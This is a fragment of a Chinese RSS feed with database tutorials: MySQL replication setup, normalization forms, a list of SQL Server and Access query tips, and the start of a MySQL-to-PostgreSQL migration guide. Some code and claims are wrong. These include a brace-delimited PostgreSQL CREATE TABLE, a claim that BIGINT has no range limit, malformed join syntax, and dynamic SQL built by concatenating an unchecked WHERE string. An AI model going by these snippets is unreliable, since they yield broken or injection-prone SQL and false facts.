			<pubDate>2007-2-9</pubDate>
			<description><![CDATA[
作者：老王

一般使用MySQL的时候，如果数据量不大，我们都使用一台MySQL服务器，备份的时候使用mysqldump工具就可以了，但是随着业务不断发展，问题出现了：

首先：数据量往往直线上升，单独一台数据库服务器开始出现性能的瓶颈，数据访问越来越慢。

其次：备份也变得困难了，因为mysqldump是导出一份文本文件，而数据量特别大的时候，这样的备份往往需要很长时间，可能有人会说，我们可以直接通过拷贝数据文件来备份数据库，这样很方便，快捷，不错，这样是比mysqldump方便快捷，但是，直接拷贝数据文件备份的方式要求我们必须先关闭mysql服务，然后再拷贝数据文件，否则，你拷贝的文件很可能是坏的。而实际运行的mysql服务往往要求在任何时候都不可以停止服务，所以这样的备份方式在此情况下不可行。

如果你遇到了类似上面的问题，你就可以使用建立MySQL主从服务器的方式来解决，下面先来看看主从服务器的设置：

前提：MySQL主从服务器最好使用相同的软件版本，以避免不不可预期的故障。

首先设置MySQL主服务器：

在主服务器上为从服务器建立一个用户：

grant&nbsp;replication&nbsp;slave&nbsp;on&nbsp;*.*&nbsp;to&nbsp;'用户名'@'主机'&nbsp;identified&nbsp;by&nbsp;'密码';

编辑主服务器的配置文件：/etc/my.cnf

server-id&nbsp;=&nbsp;1
log-bin
binlog-do-db=需要备份的数据库名，如果备份多个数据库，重复设置这个选项即可
binlog-ignore-db=不需要备份的数据库苦命，如果备份多个数据库，重复设置这个选项即可

编辑从服务器的配置文件：/etc/my.cnf

server-id=2
master-host=主机
master-user=用户名
master-password=密码
master-port=端口
replicate-do-db=需要备份的数据库名，如果备份多个数据库，重复设置这个选项即可

记得先手动同步一下主从服务器中要备份的数据库，然后重启主，从服务器。

要验证主从设置是否已经成功，可以登录从服务器输入如下命令：

mysql&gt;&nbsp;show&nbsp;slave&nbsp;status\G

会得到类似下面的列表：

Slave_IO_Running:&nbsp;Yes
Slave_SQL_Running:&nbsp;Yes

如果这两个选项不全是Yes，那就说明你前面某个步骤配置错了。

如果你的设置是正确的，尝试在主服务器上插入若干条记录，然后你再转到从服务器，会发现相应的新记录已经自动同步过来了。

如果你的主从服务器已经配置好了，那么你在应用程序中，只要保证所有的insert/delete/update操作是在主服务器上进行的，那么相应的数据变化会自动同步到从服务器上，这样，我们就可以把select操作分担到多台从数据库上，从而降低服务器的载荷。

如果你想使用复制数据文件的方式来备份数据库，只要在从服务器上的mysql命令行先键入slave&nbsp;stop;然后复制数据库文件，复制好了，再在mysql命令行键入slave&nbsp;start;启动从服务器，这样就即备份了数据有保证了数据完整性，而且整个过程中主服务器的mysql无需停止。

-----------------------------------------------------------------------------------

提示：如果修改了主服务器的配置，记得删除从服务器上的master.info文件。否则从服务器使用的还是老配置，可能会导致错误。

-----------------------------------------------------------------------------------

注意：关于要复制多个数据库时，binlog-do-db和replicate-do-db选项的设置，网上很多人说是用半角逗号分隔，经过测试，这样的说法是错误的，MySQL官方文档也明确指出，如果要备份多个数据库，只要重复设置相应选项就可以了。

比如：

binlog-do-db=a
binlog-do-db=b

replicate-do-db=a
replicate-do-db=b

-----------------------------------------------------------------------------------

补充：
在从服务器上使用show slave status
Slave_IO_Running,为No,则说明IO_THREAD没有启动，请执行slave start [IO_THREAD]
Slave_SQL_Running为No则复制出错,查看Last_error字段排除错误后执行slave start [SQL_THREAD]
查看Slave_IO_State字段
空 //复制没有启动
Connecting to master//没有连接上master
Waiting for master to send event//已经连上

补充：可以使用LOAD DATA FROM MASTER语句来建立slave。但有约束条件：
数据表要全部是MyISAM表，必须有SUPER权限，master的复制用户必须具备RELOAD和SUPER权限。
在master端执行RESET MASTER清除已有的日志变更，
此时slave端会因为找不到master日志无法启动IO_THREAD，请清空data目录下
relay-log.info,hosname-relay-bin*等文件重新启动mysql
中继日志文件默认的文件为hostname-relay-bin.nnn和hostname-relay-bin.index。可用从服务器的--
relay-log和--relay-log-index选项修改。在从服务器中还有一个relay-log.info中继信息文件，可用
--relay-log-info-file启动选项修改文件名。
双机互备则是两个mysql同时配置为master及slave

主服务器上的相关命令：
show master status
show slave hosts
show {master|binary} logs
show binlog events
purge {master|binary} logs to 'log_name'
purge {master|binary} logs before 'date'
reset master(老版本flush master)
set sql_log_bin={0|1}

从服务器上的相关命令:
slave start
slave stop
SLAVE STOP IO_THREAD //此线程把master段的日志写到本地
SLAVE start IO_THREAD
SLAVE STOP SQL_THREAD //此线程把写到本地的日志应用于数据库
SLAVE start SQL_THREAD
reset slave
SET GLOBAL SQL_SLAVE_SKIP_COUNTER
load data from master
show slave status(SUPER,REPLICATION CLIENT)
CHANGE MASTER TO MASTER_HOST=, MASTER_PORT=,MASTER_USER=, MASTER_PASSWORD= //动态改变master信息
PURGE MASTER [before 'date'] 删除master端已同步过的日志
]]></description>
		</item>
		<item>
			<title>数据库设计范式</title>
			<link>http://www.kingmx.com/article.php?id=14990</link>
			<pubDate>2007-1-30</pubDate>
			<description><![CDATA[关系数据库设计之时是要遵守一定的规则的。尤其是数据库设计范式 现简单介绍1NF（第一范式），2NF（第二范式），3NF（第三范式）和BCNF，另有第四范式和第五范式留到以后再介绍。 在你设计数据库之时，若能符合这几个范式，你就是数据库设计的高手。 

第一范式（1NF）：在关系模式R中的每一个具体关系r中，如果每个属性值 都是不可再分的最小数据单位，则称R是第一范式的关系。例：如职工号，姓名，电话号码组成一个表（一个人可能有一个办公室电话 和一个家里电话号码） 规范成为1NF有三种方法： 
一是重复存储职工号和姓名。这样，关键字只能是电话号码。 
二是职工号为关键字，电话号码分为单位电话和住宅电话两个属性 
三是职工号为关键字，但强制每条记录只能有一个电话号码。 
以上三个方法，第一种方法最不可取，按实际情况选取后两种情况。 

第二范式（2NF）：如果关系模式R（U，F）中的所有非主属性都完全依赖于任意一个候选关键字，则称关系R 是属于第二范式的。 
例：选课关系 SCI（SNO，CNO，GRADE，CREDIT）其中SNO为学号， CNO为课程号，GRADEGE 为成绩，CREDIT 为学分。 由以上条件，关键字为组合关键字（SNO，CNO） 
在应用中使用以上关系模式有以下问题： 
a.数据冗余，假设同一门课由40个学生选修，学分就 重复40次。 
b.更新异常，若调整了某课程的学分，相应的元组CREDIT值都要更新，有可能会出现同一门课学分不同。 
c.插入异常，如计划开新课，由于没人选修，没有学号关键字，只能等有人选修才能把课程和学分存入。 
d.删除异常，若学生已经结业，从当前数据库删除选修记录。某些门课程新生尚未选修，则此门课程及学分记录无法保存。 
原因：非关键字属性CREDIT仅函数依赖于CNO，也就是CREDIT部分依赖组合关键字（SNO，CNO）而不是完全依赖。 
解决方法：分成两个关系模式 SC1（SNO，CNO，GRADE），C2（CNO，CREDIT）。新关系包括两个关系模式，它们之间通过SC1中的外关键字CNO相联系，需要时再进行自然联接，恢复了原来的关系 

第三范式（3NF）：如果关系模式R（U，F）中的所有非主属性对任何候选关键字都不存在传递信赖，则称关系R是属于第三范式的。 
例：如S1（SNO，SNAME，DNO，DNAME，LOCATION） 各属性分别代表学号， 
姓名，所在系，系名称，系地址。 
关键字SNO决定各个属性。由于是单个关键字，没有部分依赖的问题，肯定是2NF。但这关系肯定有大量的冗余，有关学生所在的几个属性DNO，DNAME，LOCATION将重复存储，插入，删除和修改时也将产生类似以上例的情况。 
原因：关系中存在传递依赖造成的。即SNO -&gt; DNO。 而DNO -&gt; SNO却不存在，DNO -&gt; LOCATION, 因此关键辽 SNO 对 LOCATION 函数决定是通过传递依赖 SNO -&gt; LOCATION 实现的。也就是说，SNO不直接决定非主属性LOCATION。 
解决目地：每个关系模式中不能留有传递依赖。 
解决方法：分为两个关系 S（SNO，SNAME，DNO），D（DNO，DNAME，LOCATION） 
注意：关系S中不能没有外关键字DNO。否则两个关系之间失去联系。

BCNF：如果关系模式R（U，F）的所有属性（包括主属性和非主属性）都不传递依赖于R的任何候选关键字，那么称关系R是属于BCNF的。或是关系模式R，如果每个决定因素都包含关键字（而不是被关键字所包含），则RCNF的关系模式。 
例：配件管理关系模式 WPE（WNO，PNO，ENO，QNT）分别表仓库号，配件号，职工号，数量。有以下条件 
a.一个仓库有多个职工。 
b.一个职工仅在一个仓库工作。 
c.每个仓库里一种型号的配件由专人负责，但一个人可以管理几种配件。 
d.同一种型号的配件可以分放在几个仓库中。 
分析：由以上得 PNO 不能确定QNT，由组合属性（WNO，PNO）来决定，存在函数依赖（WNO，PNO） -&gt; ENO。由于每个仓库里的一种配件由专人负责，而一个人可以管理几种配件，所以有组合属性（WNO，PNO）才能确定负责人，有（WNO，PNO）-&gt; ENO。因为 一个职工仅在一个仓库工作，有ENO -&gt; WNO。由于每个仓库里的一种配件由专人负责，而一个职工仅在一个仓库工作，有 （ENO，PNO）-&gt; QNT。 
找一下候选关键字，因为（WNO，PNO） -&gt; QNT，（WNO，PNO）-&gt; ENO ，因此 （WNO，PNO）可以决定整个元组，是一个候选关键字。根据ENO-&gt;WNO，（ENO，PNO）-&gt;QNT，故（ENO，PNO）也能决定整个元组，为另一个候选关键字。属性ENO，WNO，PNO 均为主属性，只有一个非主属性QNT。它对任何一个候选关键字都是完全函数依赖的，并且是直接依赖，所以该关系模式是3NF。 
分析一下主属性。因为ENO-&gt;WNO，主属性ENO是WNO的决定因素，但是它本身不是关键字，只是组合关键字的一部分。这就造成主属性WNO对另外一个候选关键字（ENO，PNO）的部 分依赖，因为（ENO，PNO）-&gt; ENO但反过来不成立，而P-&gt;WNO，故（ENO，PNO）-&gt; WNO 也是传递依赖。 
虽然没有非主属性对候选关键辽的传递依赖，但存在主属性对候选关键字的传递依赖，同样也会带来麻烦。如一个新职工分配到仓库工作，但暂时处于实习阶段，没有独立负责对某些配件的管理任务。由于缺少关键字的一部分PNO而无法插入到该关系中去。又如某个人改成不管配件了去负责安全，则在删除配件的同时该职工也会被删除。 
解决办法：分成管理EP（ENO，PNO，QNT），关键字是（ENO，PNO）工作EW（ENO，WNO）其关键字是ENO 
缺点：分解后函数依赖的保持性较差。如此例中，由于分解,函数依赖（WNO，PNO）-&gt; ENO 丢失了, 因而对原来的语义有所破坏。没有体现出每个仓库里一种部件由专人负责。有可能出现 一部件由两个人或两个以上的人来同时管理。因此，分解之后的关系模式降低了部分完整性约束。 

一个关系分解成多个关系，要使得分解有意义，起码的要求是分解后不丢失原来的信息。这些信息不仅包括数据本身，而且包括由函数依赖所表示的数据之间的相互制约。进行分解的目标是达到更高一级的规范化程度，但是分解的同时必须考虑两个问题：无损联接性和保持函数依赖。有时往往不可能做到既有无损联接性，又完全保持函数依赖。需要根据需要进行权衡。 

1NF直到BCNF的四种范式之间有如下关系： 
BCNF包含了3NF包含2NF包含1NF 

小结： 
目地：规范化目的是使结构更合理，消除存储异常，使数据冗余尽量小，便于插入、删除和更新 
原则：遵从概念单一化 "一事一地"原则，即一个关系模式描述一个实体或实体间的一种联系。规范的实质就是概念的单一化。 
方法：将关系模式投影分解成两个或两个以上的关系模式。 
要求：分解后的关系模式集合应当与原关系模式"等价"，即经过自然联接可以恢复原关系而不丢失信息，并保持属性间合理的联系。 

注意：一个关系模式结这分解可以得到不同关系模式集合，也就是说分解方法不是唯一的。最小冗余的要求必须以分解后的数据库能够表达原来数据库所有信息为前提来实现。其根本目标是节省存储空间，避免数据不一致性，提高对关系的操作效率，同时满足应用需求。实际上，并不一定要求全部模式都达到BCNF不可。有时故意保留部分冗余可能更方便数据查询。尤其对于那些更新频度不高，查询频度极高的数据库系统更是如此。 

在关系数据库中，除了函数依赖之外还有多值依赖，联接依赖的问题，从而提出了第四范式，第五范式等更高一级的规范化要求。在此，以后再谈。 

各位朋友，你看过后有何感想，其实，任何一本数据库基础理论的书都会讲这些东西，考虑到很多网友是半途出家，来做数据库。特找一本书大抄特抄一把，各位有什么问题，也别问我了，自已去找一本关系数据库理论的书去看吧，说不定，对各位大有帮助。说是说以上是基础理论的东西，请大家想想，你在做数据库设计的时候有没有考虑过遵过以上几个范式呢，有没有在数据库设计做得不好之时，想一想，对比以上所讲，到底是违反了第几个范式呢？ 
我见过的数据库设计，很少有人做到很符合以上几个范式的，一般说来，第一范式大家都可以遵守，完全遵守第二第三范式的人很少了，遵守的人一定就是设计数据库的高手了，BCNF的范式出现机会较少，而且会破坏完整性，你可以在做设计之时不考虑它，当然在ORACLE中可通过触发器解决其缺点。以后我们共同做设计之时，也希望大家遵守以上几个范式。
]]></description>
		</item>
		<item>
			<title>精妙SQL语句整理</title>
			<link>http://www.kingmx.com/article.php?id=14874</link>
			<pubDate>2006-12-28</pubDate>
			<description><![CDATA[

一、基础 

1、说明：创建数据库
&nbsp; 
CREATE DATABASE database-name 
2、说明：删除数据库
&nbsp; 
drop database dbname 
3、说明：备份sql server 
--- 创建 备份数据的 device 
USE master 
EXEC sp_addumpdevice \'disk\', \'testBack\', \'c:mssql7backupMyNwind_1.dat\' 
--- 开始 备份 
BACKUP DATABASE pubs TO testBack 
4、说明：创建新表 
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..) 
根据已有的表创建新表： 
A：create table tab_new like tab_old (使用旧表创建新表) 
B：create table tab_new as select col1,col2… from tab_old definition only 
5、说明：删除新表 
drop table tabname 
6、说明：增加一个列 
Alter table tabname add column col type 
注：列增加后将不能删除。DB2中列加上后数据类型也不能改变，唯一能改变的是增加varchar类型的长度。 
7、说明：添加主键： Alter table tabname add primary key(col) 
说明：删除主键： Alter table tabname drop primary key(col) 
8、说明：创建索引：create [unique] index idxname on tabname(col….) 
删除索引：drop index idxname 
注：索引是不可更改的，想更改必须删除重新建。 
9、说明：创建视图：create view viewname as select statement 
删除视图：drop view viewname 
10、说明：几个简单的基本的sql语句 
选择：select * from table1 where 范围 
插入：insert into table1(field1,field2) values(value1,value2) 
删除：delete from table1 where 范围 
更新：update table1 set field1=value1 where 范围 
查找：select * from table1 where field1 like ’%value1%’ ---like的语法很精妙，查资料! 
排序：select * from table1 order by field1,field2 [desc] 
总数：select count as totalcount from table1 
求和：select sum(field1) as sumvalue from table1 
平均：select avg(field1) as avgvalue from table1 
最大：select max(field1) as maxvalue from table1 
最小：select min(field1) as minvalue from table1 
11、说明：几个高级查询运算词 
A： UNION 运算符 
UNION 运算符通过组合其他两个结果表（例如 TABLE1 和 TABLE2）并消去表中任何重复行而派生出一个结果表。当 ALL 随 UNION 一起使用时（即 UNION ALL），不消除重复行。两种情况下，派生表的每一行不是来自 TABLE1 就是来自 TABLE2。 
B： EXCEPT 运算符 
EXCEPT 运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个结果表。当 ALL 随 EXCEPT 一起使用时 (EXCEPT ALL)，不消除重复行。 
C： INTERSECT 运算符 
INTERSECT 运算符通过只包括 TABLE1 和 TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当 ALL 随 INTERSECT 一起使用时 (INTERSECT ALL)，不消除重复行。 
注：使用运算词的几个查询结果行必须是一致的。 
12、说明：使用外连接 
A、left outer join： 
左外连接（左连接）：结果集几包括连接表的匹配行，也包括左连接表的所有行。 
SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c 
B：right outer join: 
右外连接(右连接)：结果集既包括连接表的匹配连接行，也包括右连接表的所有行。 
C：full outer join： 
全外连接：不仅包括符号连接表的匹配行，还包括两个连接表中的所有记录。 

二、提升
&nbsp; 

1、说明：复制表(只复制结构,源表名：a 新表名：b) (Access可用) 
法一：select * into b from a where 1&lt;&gt;1 
法二：select top 0 * into b from a 

2、说明：拷贝表(拷贝数据,源表名：a 目标表名：b) (Access可用) 
insert into b(a, b, c) select d,e,f from b; 

3、说明：跨数据库之间表的拷贝(具体数据使用绝对路径) (Access可用) 
insert into b(a, b, c) select d,e,f from b in ‘具体数据库’ where 条件 
例子：..from b in \'"&amp;Server.MapPath(".")&amp;"data.mdb" &amp;"\' where.. 

4、说明：子查询(表名1：a 表名2：b) 
select a,b,c from a where a IN (select d from b ) 或者: select a,b,c from a where a IN (1,2,3) 

5、说明：显示文章、提交人和最后回复时间 
select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b 

6、说明：外连接查询(表名1：a 表名2：b) 
select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c 

7、说明：在线视图查询(表名1：a ) 
select * from (SELECT a,b,c FROM a) T where t.a &gt; 1; 

8、说明：between的用法,between限制查询数据范围时包括了边界值,not between不包括 
select * from table1 where time between time1 and time2 
select a,b,c, from table1 where a not between 数值1 and 数值2 

9、说明：in 的使用方法 
select * from table1 where a [not] in (‘值1’,’值2’,’值4’,’值6’) 

10、说明：两张关联表，删除主表中已经在副表中没有的信息 
delete from table1 where not exists ( select * from table2 where table1.field1=table2.field1 ) 

11、说明：四表联查问题： 
select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where ..... 

12、说明：日程安排提前五分钟提醒 
SQL: select * from 日程安排 where datediff(\'minute\',f开始时间,getdate())&gt;5 

13、说明：一条sql 语句搞定数据库分页 
select top 10 b.* from (select top 20 主键字段,排序字段 from 表名 order by 排序字段 desc) a,表名 b where b.主键字段 = a.主键字段 order by a.排序字段 

14、说明：前10条记录 
select top 10 * form table1 where 范围 

15、说明：选择在每一组b值相同的数据中对应的a最大的记录的所有信息(类似这样的用法可以用于论坛每月排行榜,每月热销产品分析,按科目成绩排名,等等.) 
select a,b,c from tablename ta where a=(select max(a) from tablename tb where tb.b=ta.b) 

16、说明：包括所有在 TableA 中但不在 TableB和TableC 中的行并消除所有重复行而派生出一个结果表 
(select a from tableA ) except (select a from tableB) except (select a from tableC) 

17、说明：随机取出10条数据 
select top 10 * from tablename order by newid() 

18、说明：随机选择记录 
select newid() 

19、说明：删除重复记录 
Delete from tablename where id not in (select max(id) from tablename group by col1,col2,...) 

20、说明：列出数据库里所有的表名 
select name from sysobjects where type=\'U\' 

21、说明：列出表里的所有的 
select name from syscolumns where id=object_id(\'TableName\') 

22、说明：列示type、vender、pcs字段，以type字段排列，case可以方便地实现多重选择，类似select 中的case。 
select type,sum(case vender when \'A\' then pcs else 0 end),sum(case vender when \'C\' then pcs else 0 end),sum(case vender when \'B\' then pcs else 0 end) FROM tablename group by type 
显示结果： 
type vender pcs 
电脑 A 1 
电脑 A 1 
光盘 B 2 
光盘 A 2 
手机 B 3 
手机 C 3 

23、说明：初始化表table1 

TRUNCATE TABLE table1 

24、说明：选择从10到15的记录 
select top 5 * from (select top 15 * from table order by id asc) table_别名 order by id desc 

三、技巧
&nbsp; 

1、1=1，1=2的使用，在SQL语句组合时用的较多 

“where 1=1” 是表示选择全部 “where 1=2”全部不选， 
如： 
if @strWhere !=\'\' 
begin 
set @strSQL = \'select count(*) as Total from [\' + @tblName + \'] where \' + @strWhere 
end 
else 
begin 
set @strSQL = \'select count(*) as Total from [\' + @tblName + \']\' 
end 

我们可以直接写成 
set @strSQL = \'select count(*) as Total from [\' + @tblName + \'] where 1=1 安定 \'+ @strWhere 

2、收缩数据库
&nbsp; 
--重建索引 
DBCC REINDEX 
DBCC INDEXDEFRAG 
--收缩数据和日志 
DBCC SHRINKDB 
DBCC SHRINKFILE 

3、压缩数据库
&nbsp; 
dbcc shrinkdatabase(dbname) 

4、转移数据库给新用户以已存在用户权限 
exec sp_change_users_login \'update_one\',\'newname\',\'oldname\' 
go 

5、检查备份集 
RESTORE VERIFYONLY from disk=\'E:dvbbs.bak\' 

6、修复数据库
&nbsp; 
ALTER DATABASE [dvbbs] SET SINGLE_USER 
GO 
DBCC CHECKDB(\'dvbbs\',repair_allow_data_loss) WITH TABLOCK 
GO 
ALTER DATABASE [dvbbs] SET MULTI_USER 
GO 

7、日志清除 
SET NOCOUNT ON 
DECLARE @LogicalFileName sysname, 
@MaxMinutes INT, 
@NewSize INT 

USE tablename -- 要操作的数据库名 
SELECT @LogicalFileName = \'tablename_log\', -- 日志文件名 
@MaxMinutes = 10, -- Limit on time allowed to wrap log. 
@NewSize = 1 -- 你想设定的日志文件的大小(M) 

-- Setup / initialize 
DECLARE @OriginalSize int 
SELECT @OriginalSize = size 
FROM sysfiles 
WHERE name = @LogicalFileName 
SELECT \'Original Size of \' + db_name() + \' LOG is \' + 
CONVERT(VARCHAR(30),@OriginalSize) + \' 8K pages or \' + 
CONVERT(VARCHAR(30),(@OriginalSize*8/1024)) + \'MB\' 
FROM sysfiles 
WHERE name = @LogicalFileName 
CREATE TABLE DummyTrans 
(DummyColumn char (8000) not null) 

DECLARE @Counter INT, 
@StartTime DATETIME, 
@TruncLog VARCHAR(255) 
SELECT @StartTime = GETDATE(), 
@TruncLog = \'BACKUP LOG \' + db_name() + \' WITH TRUNCATE_ONLY\' 

DBCC SHRINKFILE (@LogicalFileName, @NewSize) 
EXEC (@TruncLog) 
-- Wrap the log if necessary. 
WHILE @MaxMinutes &gt; DATEDIFF (mi, @StartTime, GETDATE()) -- time has not expired 
AND @OriginalSize = (SELECT size FROM sysfiles WHERE name = @LogicalFileName) 
AND (@OriginalSize * 8 /1024) &gt; @NewSize 
BEGIN -- Outer loop. 
SELECT @Counter = 0 
WHILE ((@Counter &lt; @OriginalSize / 16) AND (@Counter &lt; 50000)) 
BEGIN -- update 
INSERT DummyTrans VALUES (\'Fill Log\') 
DELETE DummyTrans 
SELECT @Counter = @Counter + 1 
END 
EXEC (@TruncLog) 
END 
SELECT \'Final Size of \' + db_name() + \' LOG is \' + 
CONVERT(VARCHAR(30),size) + \' 8K pages or \' + 
CONVERT(VARCHAR(30),(size*8/1024)) + \'MB\' 
FROM sysfiles 
WHERE name = @LogicalFileName 
DROP TABLE DummyTrans 
SET NOCOUNT OFF 

8、说明：更改某个表 
exec sp_changeobjectowner \'tablename\',\'dbo\' 

9、存储更改全部表 

CREATE PROCEDURE dbo.User_ChangeObjectOwnerBatch 
@OldOwner as NVARCHAR(128), 
@NewOwner as NVARCHAR(128) 
AS 

DECLARE @Name as NVARCHAR(128) 
DECLARE @Owner as NVARCHAR(128) 
DECLARE @OwnerName as NVARCHAR(128) 

DECLARE curObject CURSOR FOR 
select \'Name\' = name, 
\'Owner\' = user_name(uid) 
from sysobjects 
where user_name(uid)=@OldOwner 
order by name 

OPEN curObject 
FETCH NEXT FROM curObject INTO @Name, @Owner 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
if @Owner=@OldOwner 
begin 
set @OwnerName = @OldOwner + \'.\' + rtrim(@Name) 
exec sp_changeobjectowner @OwnerName, @NewOwner 
end 
-- select @name,@NewOwner,@OldOwner 

FETCH NEXT FROM curObject INTO @Name, @Owner 
END 

close curObject 
deallocate curObject 
GO 

10、SQL SERVER中直接循环写入数据 
declare @i int 
set @i=1 
while @i&lt;30 
begin 
insert into test (userid) values(@i) 
set @i=@i+1 
end 

小记存储过程中经常用到的本周，本月，本年函数 
Dateadd(wk,datediff(wk,0,getdate()),-1) 
Dateadd(wk,datediff(wk,0,getdate()),6) 

Dateadd(mm,datediff(mm,0,getdate()),0) 
Dateadd(ms,-3,dateadd(mm,datediff(m,0,getdate())+1,0)) 

Dateadd(yy,datediff(yy,0,getdate()),0) 
Dateadd(ms,-3,DATEADD(yy, DATEDIFF(yy,0,getdate())+1, 0)) 

上面的SQL代码只是一个时间段 
Dateadd(wk,datediff(wk,0,getdate()),-1) 
Dateadd(wk,datediff(wk,0,getdate()),6) 
就是表示本周时间段. 
下面的SQL的条件部分,就是查询时间段在本周范围内的: 
Where Time BETWEEN Dateadd(wk,datediff(wk,0,getdate()),-1) AND Dateadd(wk,datediff(wk,0,getdate()),6) 
而在存储过程中 
select @begintime = Dateadd(wk,datediff(wk,0,getdate()),-1) 
select @endtime = Dateadd(wk,datediff(wk,0,getdate()),6) 
最后，再补充一些：
分组group
　　常用于统计时，如分组查总数：
select gender,count(sno) 
from students
group by gender
(查看男女学生各有多少)
　　注意：从哪种角度分组就从哪列"group by"
　　对于多重分组，只需将分组规则罗列。比如查询各届各专业的男女同学人数 ，那么分组规则有：届别(grade)、专业(mno)和性别(gender)，所以有"group by grade, mno, gender"
select grade, mno, gender, count(*)
from students
group by grade, mno, gender
　　通常group还和having联用，比如查询1门课以上不及格的学生，则按学号(sno)分类有：
select sno,count(*) from grades 
where mark&lt;60
group by sno
having count(*)&gt;1 
　　6.UNION联合
　　合并查询结果，如：
SELECT * FROM students
WHERE name like ‘张%’
UNION [ALL]
SELECT * FROM students
WHERE name like ‘李%’
　　7.多表查询
　　a.内连接
select g.sno,s.name,c.coursename 
from grades g JOIN students s ON g.sno=s.sno
JOIN courses c ON g.cno=c.cno
(注意可以引用别名)
b.外连接
b1.左连接
select courses.cno,max(coursename),count(sno) 
from courses LEFT JOIN grades ON courses.cno=grades.cno 
group by courses.cno
　　左连接特点：显示全部左边表中的所有项目，即使其中有些项中的数据未填写完全。
　　左外连接返回那些存在于左表而右表中却没有的行，再加上内连接的行。
　　b2.右连接
　　与左连接类似
　　b3.全连接
select sno,name,major 
from students FULL JOIN majors ON students.mno=majors.mno
　　两边表中的内容全部显示
　　c.自身连接
select c1.cno,c1.coursename,c1.pno,c2.coursename 
from courses c1,courses c2 where c1.pno=c2.cno
　　采用别名解决问题。
　　d.交叉连接
select lastname+firstname from lastname CROSS JOIN firstanme
　　相当于做笛卡儿积
]]></description>
		</item>
		<item>
			<title>将你的网站从MySQL改为PostgreSQL</title>
			<link>http://www.kingmx.com/article.php?id=14679</link>
			<pubDate>2006-12-12</pubDate>
			<description><![CDATA[我的站点最初是采用PHP驱动，由MySQL数据库支持的方案，这在当时是一个明智的方案。在2001年夏天，我将我的数据库换成了PostgreSQL(有时也简称为Postgres)。
　　这个教程分为两部分，第一部分讲述了我进行这种转换的动机，并一步步地解释了如何将已存在有MySQL的数据转换到Postgres中。第二部分将会解释如何根据新的数据库系统对PHP进行相应的调整。

　　转换的动机

　　我第一次了解Postgres是在PHPBuilder网站的一篇文章中。这篇文章将Postgres和MySQL进行了比较，当时我正在使用 MySQL。但是，当我阅读了这篇文章后，我对Postgres着了迷 -- 但是当时我还没有想到对我的网站进行重新的设计。

　　我继续使用MySQL，因为我的主机提供商只能提供MySQL的支持，这是我所无法改变的。直到有一天，主机提供商的主机崩溃了。我立即换了一个主机提供商，与原来的那个相比，新的主机提供商有很多不同，他们在安全性和稳定性方面对我作出了更多的承诺。新公司试图说服我使用Postgres，因为 Postgres要比MySQL来得更稳定，但是我当时没有接受这个建议，因为我的网站已经根据MySQL完成了全部的编码工作。他们只好专门为我的站点安装了MySQL。于是问题开始了。

　　我的第一个工作是将旧服务器上的MySQL的数据拷贝到新的主机上。首先，我将已有的数据dump到一个SQL文件中，然后在新的主机上导入这个SQL文件。在处理这个数千行的文件时，MySQL迅速地崩溃了。重启MySQL后，其中大概只有一半数据成功地导入了，而且MySQL只能间歇性地工作。最后，他们不得不删除了已经导入的信息让我再试一次。MySQL再次崩溃。这种情况重复了好几次，直到最终我决定将我的SQL文件分割成几块。我不得不又试了几次，最后终于将绝大多数的数据都成功地导入到新的MySQL服务器中。一切都好了，我总算松了一口气。

　　在下面的几个月中，MySQL几乎每两周都要崩溃一次，其中最惨痛的一次是在2001年6月底。这一次，存储在MySQL中的数据完全被毁坏了。我有一个 SQL的备份文件，但是因为上次向MySQL中导入大量数据的痛苦的经历，这一次我再也不想通过这个备份恢复数据了。这时，公司再次建议我对我的网站进行转向，使用Postgres。由于MySQL的失败，最终我接受了这个建议。

　　将数据从MySQL转移到Postgres中

　　将数据从MySQL转移到Postgres是一个不大的挑战，因为Postgres比MySQL支持了更多的SQL的标准格式，在POstgres中直接使用SQL的dump结果是不可能的。但是，SQL语法相当相似，因此对于我来说，这并没有花费太多的时间。

　　对MySQL的Dump结果进行转换

　　首先，要求你的主机提供商为你的帐号建立一个数据库。和MySQL数据库一样，Postgres的数据库也由一系列包含实际数据的数据表组成。然后，使用mysqldump命令为你的MySQL数据库做一个dump文件。

　　mysqldump -u username -p databasename &gt; sqldump.txt

　　使用FTP将整个dump文件下载下来。现在在你的计算机上有了这个SQL文件，你可以将其转换成Postgres可以导入的文件。

　　首先，从dump文件中剪切所有的MySQL的CREATE TABLE查询，并将其粘贴到一个单独的文本文件中。下一步是使用Postgres可以理解的语言重新对数据表进行定义。

　　Postgres建立表的SQL和MySQL非常类似，但不完全一样。下面是一个例子：

　　CREATE TABLE practicetable

　　{

　　someID SERIAL,

　　time TIMESTAMP DEFAULT now(),

　　name VARCHAR(50),

　　address VARCHAR(50),

　　city VARCHAR(50),

　　state VARCHAR(2),

　　country VARCHAR(3) DEFAULT 'USA',

　　postlcode VARCHAR(15),

　　age smallint,

　　lattitude real,

　　longitude real,

　　somebool boolean,

　　message textitem

　　};

　　在一个Postgres的表定义中，字段名后面必须跟着字段类型。在上面的例子中我们给出了一些最普通的字段类型，你还可以在有关Postgres数据类型的文档中找到全部的字段类型的列表。对于不同的任务，Postgres在字段类型方面有多种选择，并可以存储各种类型的数据，从Internet地址到货币信息到几何对象的定义。这儿简要地介绍最常用的几种数据类型。

　　SERIAL类型的字段和MySQL中的自增唯一ID等价。当你在你的数据表中定义了一个SERIAL类型的列后，SERIAL的自增功能会被自动添加到数据库。当自增功能不能适应实际需求时，我们可以自定义唯一ID的逻辑。从MySQL向Postgres转输数据时，默认的功能已经足够了。

　　和字面上的意义一样VARCHAR类型是一个可变长度的文本字段。字段的长度由括号中的数值定义。例如，VARCHAR(5)定义了一个最多可包含5个字符的文本字段。

　　SMALLINT、INT和BIGINT用来定义整型字段。SMALLINT字段可存储数值范围为-32768到+32767(实际的范围可能会稍微受到你的计算机类型的影响，上面的范围适用于最普通的系统)。INT字段可存储数值范围为-2147483648到+2147483647。而BIGIN字段类型可存储任何更大的整数，它没有范围的限制。

　　REAL字符类型是一个包含十进制小数的实数。它可以精确到小数点后六位。DOUBLE PRECISION字段与此相类似，但是它可以精确到小数点后15位。

